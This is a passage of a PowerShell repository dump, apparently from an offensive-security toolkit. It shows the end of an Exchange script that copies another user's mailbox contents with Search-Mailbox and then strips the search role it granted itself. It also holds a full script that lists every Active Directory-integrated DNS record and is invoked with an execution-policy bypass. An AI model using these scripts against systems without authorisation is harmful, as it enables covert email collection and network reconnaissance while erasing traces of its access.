97 | Search-Mailbox -Identity $MailBox -SearchQuery $Filter -TargetMailbox $TargetMailbox -TargetFolder $TargetFolder -LogLevel Suppress| Out-Null
98 | }
99 |
100 | if ($Flag = 0)
101 | {
102 | Write-Host "[>] Start to remove user"
103 | #Remove user
104 | Get-ManagementRoleAssignment ("Mailbox Search-"+$User) |Remove-ManagementRoleAssignment -Confirm:$false
105 | }
106 |
107 | Write-Host "[>] Start to Remove-PSSession"
108 | #Remove PSSession
109 | Remove-PSSession $Session
110 | Write-Host "[+] All done."
111 | }
112 |
--------------------------------------------------------------------------------
/dns-dump.ps1:
--------------------------------------------------------------------------------
1 | ## Update:2019.4.28
2 | ## 3gstudent
3 | ## I modified the search parameters to use in the new environment(Eg.Server2012R2).
4 | ## Reference:https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1
5 | ## .EXAMPLE
6 | ## PS C:\> Powershell -ep bypass -f dns-dump.ps1 -zone test.com
7 | ## PS C:\> Powershell -ep bypass -f dns-dump.ps1 -zone test.com -csv
8 | ## ---------------------------------------------------------------------
9 | ## dns-dump.ps1
10 | ##
11 | ## Michael B. Smith
12 | ## michael at smithcons dot com
13 | ## http://TheEssentialExchange.com/blogs/michael
14 | ## May/June, 2009
15 | ## Updated December, 2009 adding many add'l record types.
16 | ##
17 | ## Use as you wish, no warranties expressed, implied or explicit.
18 | ## Works for me, may not for you.
19 | ## If you use it, I would appreciate an attribution.
20 | ##
21 | ## Thanks to Chris Dent, chris at highorbit dot co dot uk
22 | ## for some clarification on the precise format of the
23 | ## dnsRecord attribute. See his blog post on the topic at
24 | ## http://www.highorbit.co.uk/?p=1097
25 | ##
26 |
27 | Param(
28 | [string]$zone,
29 | [string]$domain,
30 | [string]$dc,
31 | [switch]$csv,
32 | [switch]$help
33 | )
34 |
35 | function dumpByteArray([System.Byte[]]$array, [int]$width = 9)
36 | {
37 | ## this is only used if we run into a record type
38 | ## we don't understand.
39 |
40 | $hex = ""
41 | $chr = ""
42 | $int = ""
43 |
44 | $i = $array.Count
45 | "Array contains {0} elements" -f $i
46 | $index = 0
47 | $count = 0
48 | while ($i-- -gt 0)
49 | {
50 | $val = $array[$index++]
51 |
52 | $hex += ("{0} " -f $val.ToString("x2"))
53 |
54 | if ([char]::IsLetterOrDigit($val) -or
55 | [char]::IsPunctuation($val) -or
56 | ([char]$val -eq " "))
57 | {
58 | $chr += [char]$val
59 | }
60 | else
61 | {
62 | $chr += "."
63 | }
64 |
65 | $int += "{0,4:N0}" -f $val
66 |
67 | $count++
68 | if ($count -ge $width)
69 | {
70 | "$hex $chr $int"
71 | $hex = ""
72 | $chr = ""
73 | $int = ""
74 | $count = 0
75 | }
76 | }
77 |
78 | if ($count -gt 0)
79 | {
80 | if ($count -lt $width)
81 | {
82 | $hex += (" " * (3 * ($width - $count)))
83 | $chr += (" " * (1 * ($width - $count)))
84 | $int += (" " * (4 * ($width - $count)))
85 | }
86 |
87 | "$hex $chr $int"
88 | }
89 | }
90 |
91 | function dwordLE([System.Byte[]]$arr, [int]$startIndex)
92 | {
93 | ## convert four consecutive bytes in $arr into a
94 | ## 32-bit integer value... if I had bit-manipulation
95 | ## primitives in PowerShell, I'd use them instead
96 | ## of the multiply operator.
97 | ##
98 | ## this routine is for little-endian values.
99 |
100 | $res = $arr[$startIndex + 3]
101 | $res = ($res * 256) + $arr[$startIndex + 2]
102 | $res = ($res * 256) + $arr[$startIndex + 1]
103 | $res = ($res * 256) + $arr[$startIndex + 0]
104 |
105 | return $res
106 | }
107 |
108 | function dwordBE([System.Byte[]]$arr, [int]$startIndex)
109 | {
110 | ## convert four consecutive bytes in $arr into a
111 | ## 32-bit integer value... if I had bit-manipulation
112 | ## primitives in PowerShell, I'd use them instead
113 | ## of the multiply operator.
114 | ##
115 | ## this routine is for big-endian values.
116 |
117 | $res = $arr[$startIndex]
118 | $res = ($res * 256) + $arr[$startIndex + 1]
119 | $res = ($res * 256) + $arr[$startIndex + 2]
120 | $res = ($res * 256) + $arr[$startIndex + 3]
121 |
122 | return $res
123 | }
124 |
125 | function wordLE([System.Byte[]]$arr, [int]$startIndex)
126 | {
127 | ## convert two consecutive bytes in $arr into a
128 | ## 16-bit integer value... if I had bit-manipulation
129 | ## primitives in PowerShell, I'd use them instead
130 | ## of the multiply operator.
131 | ##
132 | ## this routine is for little-endian values.
133 |
134 | $res = $arr[$startIndex + 1]
135 | $res = ($res * 256) + $arr[$startIndex]
136 |
137 | return $res
138 | }
139 |
140 | function wordBE([System.Byte[]]$arr, [int]$startIndex)
141 | {
142 | ## convert two consecutive bytes in $arr into a
143 | ## 16-bit integer value... if I had bit-manipulation
144 | ## primitives in PowerShell, I'd use them instead
145 | ## of the multiply operator.
146 | ##
147 | ## this routine is for big-endian values.
148 |
149 | $res = $arr[$startIndex]
150 | $res = ($res * 256) + $arr[$startIndex + 1]
151 |
152 | return $res
153 | }
154 |
155 | function decodeName([System.Byte[]]$arr, [int]$startIndex)
156 | {
157 | ## names in DNS are stored in two formats. one
158 | ## format contains a single name and is what we
159 | ## called "simple string" in the old days. the
160 | ## first byte of a byte array contains the length
161 | ## of the string, and the rest of the bytes in
162 | ## the array are the data in the string.
163 | ##
164 | ## a "complex string" is built from simple strings.
165 | ## the complex string is prefixed by the total
166 | ## length of the complex string in byte 0, and the
167 | ## total number of segments in the complex string
168 | ## in byte 1, and the first simple string starts
169 | ## (with its length byte) in byte 2 of the complex
170 | ## string.
171 |
172 | [int]$totlen = $arr[$startIndex]
173 | [int]$segments = $arr[$startIndex + 1]
174 | [int]$index = $startIndex + 2
175 |
176 | [string]$name = ""
177 |
178 | while ($segments-- -gt 0)
179 | {
180 | [int]$segmentLength = $arr[$index++]
181 | while ($segmentLength-- -gt 0)
182 | {
183 | $name += [char]$arr[$index++]
184 | }
185 | $name += "."
186 | }
187 |
188 | return $name
189 | }
190 |
191 | function analyzeArray([System.Byte[]]$arr, [System.Object]$var)
192 | {
193 | $nameArray = $var.distinguishedname.ToString().Split(",")
194 | $name = $nameArray[0].SubString(3)
195 |
196 | ## RData Length is the length of the payload in bytes (that is, the variable part of the record)
197 | ## Truth be told, we don't use it. The payload starts at $arr[24]. If you are ever concerned
198 | ## about corrupt data and running off the end of $arr, then you need to verify against the RData
199 | ## Length value.
200 | $rdataLen = wordLE $arr 0
201 |
202 | ## RData Type is the type of the record
203 | $rdatatype = wordLE $arr 2
204 |
205 | ## the serial in the SOA where this item was last updated
206 | $updatedAtSerial = dwordLE $arr 8
207 |
208 | ## TimeToLive
209 | $ttl = dwordBE $arr 12
210 |
211 | ## $unknown = dword $arr 16
212 |
213 | ## timestamp of when the record expires, or 0 means "static"
214 | $age = dwordLE $arr 20
215 | if ($age -ne 0)
216 | {
217 | ## hours since January 1, 1601 (start of Windows epoch)
218 | ## there is a long-and-dreary way to do this manually,
219 | ## but get-date makes it trivial to do the conversion.
220 | $timestamp = ((get-date -year 1601 -month 1 -day 1 -hour 0 -minute 0 -second 0).AddHours($age)).ToString()
221 | }
222 | else
223 | {
224 | $timestamp = "[static]"
225 | }
226 |
227 | if ($rdatatype -eq 1)
228 | {
229 | # "A" record
230 | $ip = "{0}.{1}.{2}.{3}" -f $arr[24], $arr[25], $arr[26], $arr[27]
231 |
232 | if ($csv)
233 | {
234 | $formatstring = "{0},{1},{2},{3},{4}"
235 | }
236 | else
237 | {
238 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}"
239 | }
240 |
241 | $formatstring -f $name, $timestamp, $ttl, "A", $ip
242 | }
243 | elseif ($rdatatype -eq 2)
244 | {
245 | # "NS" record
246 | $nsname = decodeName $arr 24
247 |
248 | if ($csv)
249 | {
250 | $formatstring = "{0},{1},{2},{3},{4}"
251 | }
252 | else
253 | {
254 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}"
255 | }
256 |
257 | $formatstring -f $name, $timestamp, $ttl, "NS", $nsname
258 | }
259 | elseif ($rdatatype -eq 5)
260 | {
261 | # CNAME record
262 | # canonical name or alias
263 |
264 | $alias = decodeName $arr 24
265 |
266 | if ($csv)
267 | {
268 | $formatstring = "{0},{1},{2},{3},{4}"
269 | }
270 | else
271 | {
272 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}"
273 | }
274 |
275 | $formatstring -f $name, $timestamp, $ttl, "CNAME", $alias
276 | }
277 | elseif ($rdatatype -eq 6)
278 | {
279 | # "SOA" record
280 | # "Start-Of-Authority"
281 |
282 | $nslen = $arr[44]
283 | $priserver = decodeName $arr 44
284 | $index = 46 + $nslen
285 |
286 | # "Primary server: $priserver"
287 |
288 | ##$index += 1
289 | $resparty = decodeName $arr $index
290 |
291 | # "Responsible party: $resparty"
292 |
293 | # "TTL: $ttl"
294 | # "Age: $age"
295 |
296 | $serial = dwordBE $arr 24
297 | # "Serial: $serial"
298 |
299 | $refresh = dwordBE $arr 28
300 | # "Refresh: $refresh"
301 |
302 | $retry = dwordBE $arr 32
303 | # "Retry: $retry"
304 |
305 | $expires = dwordBE $arr 36
306 | # "Expires: $expires"
307 |
308 | $minttl = dwordBE $arr 40
309 | # "Minimum TTL: $minttl"
310 |
311 | if ($csv)
312 | {
313 | $formatstring = "{0},{1},{2},{3},{4},{5},{6},{7},{8},{9},{10}"
314 |
315 | $formatstring -f $name, $timestamp, $ttl, `
316 | "SOA", $priserver, $resparty, `
317 | $serial, $refresh, $retry, `
318 | $expires, $minttl
319 | }
320 | else
321 | {
322 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}"
323 |
324 | $formatstring -f $name, $timestamp, $ttl, "SOA"
325 | (" " * 32) + "Primary server: $priserver"
326 | (" " * 32) + "Responsible party: $resparty"
327 | (" " * 32) + "Serial: $serial"
328 | (" " * 32) + "TTL: $ttl"
329 | (" " * 32) + "Refresh: $refresh"
330 | (" " * 32) + "Retry: $retry"
331 | (" " * 32) + "Expires: $expires"
332 | (" " * 32) + "Minimum TTL (default): $minttl"
333 | }
334 | }
335 | elseif ($rdatatype -eq 12)
336 | {
337 | # "PTR" record
338 |
339 | $ptr = decodeName $arr 24
340 |
341 | if ($csv)
342 | {
343 | $formatstring = "{0},{1},{2},{3},{4}"
344 | }
345 | else
346 | {
347 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}"
348 | }
349 |
350 | $formatstring -f $name, $timestamp, $ttl, "PTR", $ptr
351 | }
352 | elseif ($rdatatype -eq 13)
353 | {
354 | # "HINFO" record
355 |
356 | [string]$cputype = ""
357 | [string]$ostype = ""
358 |
359 | [int]$segmentLength = $arr[24]
360 | $index = 25
361 |
362 | while ($segmentLength-- -gt 0)
363 | {
364 | $cputype += [char]$arr[$index++]
365 | }
366 |
367 | $index = 24 + $arr[24] + 1
368 | [int]$segmentLength = $index++
369 |
370 | while ($segmentLength-- -gt 0)
371 | {
372 | $ostype += [char]$arr[$index++]
373 | }
374 |
375 | if ($csv)
376 | {
377 | $formatstring = "{0},{1},{2},{3},{4},{5}"
378 | }
379 | else
380 | {
381 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4},{5}"
382 | }
383 |
384 | $formatstring -f $name, $timestamp, $ttl, "HINFO", $cputype, $ostype
385 | }
386 | elseif ($rdatatype -eq 15)
387 | {
388 | # "MX" record
389 |
390 | $priority = wordBE $arr 24
391 | $mxhost = decodeName $arr 26
392 |
393 | if ($csv)
394 | {
395 | $formatstring = "{0},{1},{2},{3},{4},{5}"
396 | }
397 | else
398 | {
399 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4} {5}"
400 | }
401 |
402 | $formatstring -f $name, $timestamp, $ttl, "MX", $priority, $mxhost
403 | }
404 | elseif ($rdatatype -eq 16)
405 | {
406 | # "TXT" record
407 |
408 | [string]$txt = ""
409 |
410 | [int]$segmentLength = $arr[24]
411 | $index = 25
412 |
413 | while ($segmentLength-- -gt 0)
414 | {
415 | $txt += [char]$arr[$index++]
416 | }
417 |
418 | if ($csv)
419 | {
420 | $formatstring = "{0},{1},{2},{3},{4}"
421 | }
422 | else
423 | {
424 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}"
425 | }
426 |
427 | $formatstring -f $name, $timestamp, $ttl, "TXT", $txt
428 |
429 | }
430 | elseif ($rdatatype -eq 28)
431 | {
432 | # "AAAA" record
433 |
434 | ### yeah, this doesn't do all the fancy formatting that can be done for IPv6
435 |
436 | $str = ""
437 | for ($i = 24; $i -lt 40; $i+=2)
438 | {
439 | $seg = wordBE $arr $i
440 | $str += ($seg).ToString('x4')
441 | if ($i -ne 38) { $str += ':' }
442 | }
443 |
444 | if ($csv)
445 | {
446 | $formatstring = "{0},{1},{2},{3},{4}"
447 | }
448 | else
449 | {
450 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}"
451 | }
452 |
453 | $formatstring -f $name, $timestamp, $ttl, "AAAA", $str
454 | }
455 | elseif ($rdatatype -eq 33)
456 | {
457 | # "SRV" record
458 |
459 | $port = wordBE $arr 28
460 | $weight = wordBE $arr 26
461 | $pri = wordBE $arr 24
462 |
463 | $nsname = decodeName $arr 30
464 |
465 | if ($csv)
466 | {
467 | $formatstring = "{0},{1},{2},{3},{4},{5}"
468 | }
469 | else
470 | {
471 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3} {4} {5}"
472 | }
473 |
474 | $formatstring -f `
475 | $name, $timestamp, `
476 | $ttl, "SRV", `
477 | ("[" + $pri.ToString() + "][" + $weight.ToString() + "][" + $port.ToString() + "]"), `
478 | $nsname
479 | }
480 | else
481 | {
482 | $name
483 | "RDataType $rdatatype"
484 | $var.distinguishedname.ToString()
485 | dumpByteArray $arr
486 | }
487 |
488 | }
489 |
490 | function processAttribute([string]$attrName, [System.Object]$var)
491 | {
492 | $array = $var.$attrName.Value
493 | #### "{0} contains {1} rows of type {2} from {3}" -f $attrName, $array.Count, $array.GetType(), $var.distinguishedName.ToString()
494 |
495 | if ($array -is [System.Byte[]])
496 | {
497 | #### dumpByteArray $array
498 | " "
499 | analyzeArray $array $var
500 | " "
501 | }
502 | else
503 | {
504 | for ($i = 0; $i -lt $array.Count; $i++)
505 | {
506 | #### dumpByteArray $array[$i]
507 | " "
508 | analyzeArray $array[$i] $var
509 | " "
510 | }
511 | }
512 | }
513 |
514 | function usage
515 | {
516 | "
517 | .\dns-dump -zone [-dc ] [-domain] [-csv] |
518 | -help
519 |
520 | dns-dump will dump, from Active Directory, a particular named zone.
521 | The zone named must be Active Directory integrated.
522 |
523 | Zone contents can vary depending on domain controller (in regards
524 | to replication and the serial number of the SOA record). By using
525 | the -dc parameter, you can specify the desired DC to use. Otherwise,
526 | dns-dump uses the default DC.
527 |
528 | The -domain option can be specified if the script is to be used
529 | against a domain that the current host isn't a part of but has read
530 | access to.
531 |
532 | Usually, output is formatted for display on a workstation. If you
533 | want CSV (comma-separated-value) output, specify the -csv parameter.
534 | Use out-file in the pipeline to save the output to a file.
535 |
536 | Finally, to produce this helpful output, you can specify the -help
537 | parameter.
538 |
539 | This command is basically equivalent to (but better than) the:
540 |
541 | dnscmd /zoneprint
542 | or
543 | dnscmd /enumrecords '@'
544 |
545 | commands.
546 |
547 | Example 1:
548 |
549 | .\dns-dump -zone essential.local -dc win2008-dc-3
550 |
551 | Example 2:
552 |
553 | .\dns-dump -help
554 |
555 | Example 3:
556 |
557 | .\dns-dump -zone essential.local -csv |
558 | out-file essential.txt -encoding ascii
559 |
560 | Note: the '-encoding ascii' is important if you want to
561 | work with the file within the old cmd.exe shell. Otherwise,
562 | you can usually leave that off.
563 | "
564 | }
565 |
566 | ##
567 | ## Main
568 | ##
569 |
570 | if ($help)
571 | {
572 | usage
573 | return
574 | }
575 |
576 | if ($args.Length -gt 0)
577 | {
578 | write-error "Invalid parameter specified"
579 | usage
580 | return
581 | }
582 |
583 | if (!$zone)
584 | {
585 | throw "must specify zone name"
586 | return
587 | }
588 |
589 | if ($domain)
590 | {
591 | $defaultNC = "DC=" + $domain.replace(".",",DC=")
592 | }
593 | else
594 | {
595 | $root = [ADSI]"LDAP://RootDSE"
596 | $defaultNC = $root.defaultNamingContext
597 | }
598 |
599 | $dn = "LDAP://"
600 | if ($dc) { $dn += $dc + "/" }
601 | # $dn += "DC=" + $zone + ",CN=MicrosoftDNS,CN=System," + $defaultNC
602 | $dn += "DC=" + $zone + ",CN=MicrosoftDNS,DC=DomainDnsZones," + $defaultNC
603 | $obj = [ADSI]$dn
604 | if ($obj.name)
605 | {
606 | if ($csv)
607 | {
608 | "Name,Timestamp,TTL,RecordType,Param1,Param2"
609 | }
610 |
611 | #### dNSProperty has a different format than dNSRecord
612 | #### processAttribute "dNSProperty" $obj
613 |
614 | foreach ($record in $obj.psbase.Children)
615 | {
616 | #### if ($record.dNSProperty) { processAttribute "dNSProperty" $record }
617 | if ($record.dnsRecord) { processAttribute "dNSRecord" $record }
618 | }
619 | }
620 | else
621 | {
622 | write-error "Can't open $dn"
623 | }
624 |
625 | $obj = $null
626 |
--------------------------------------------------------------------------------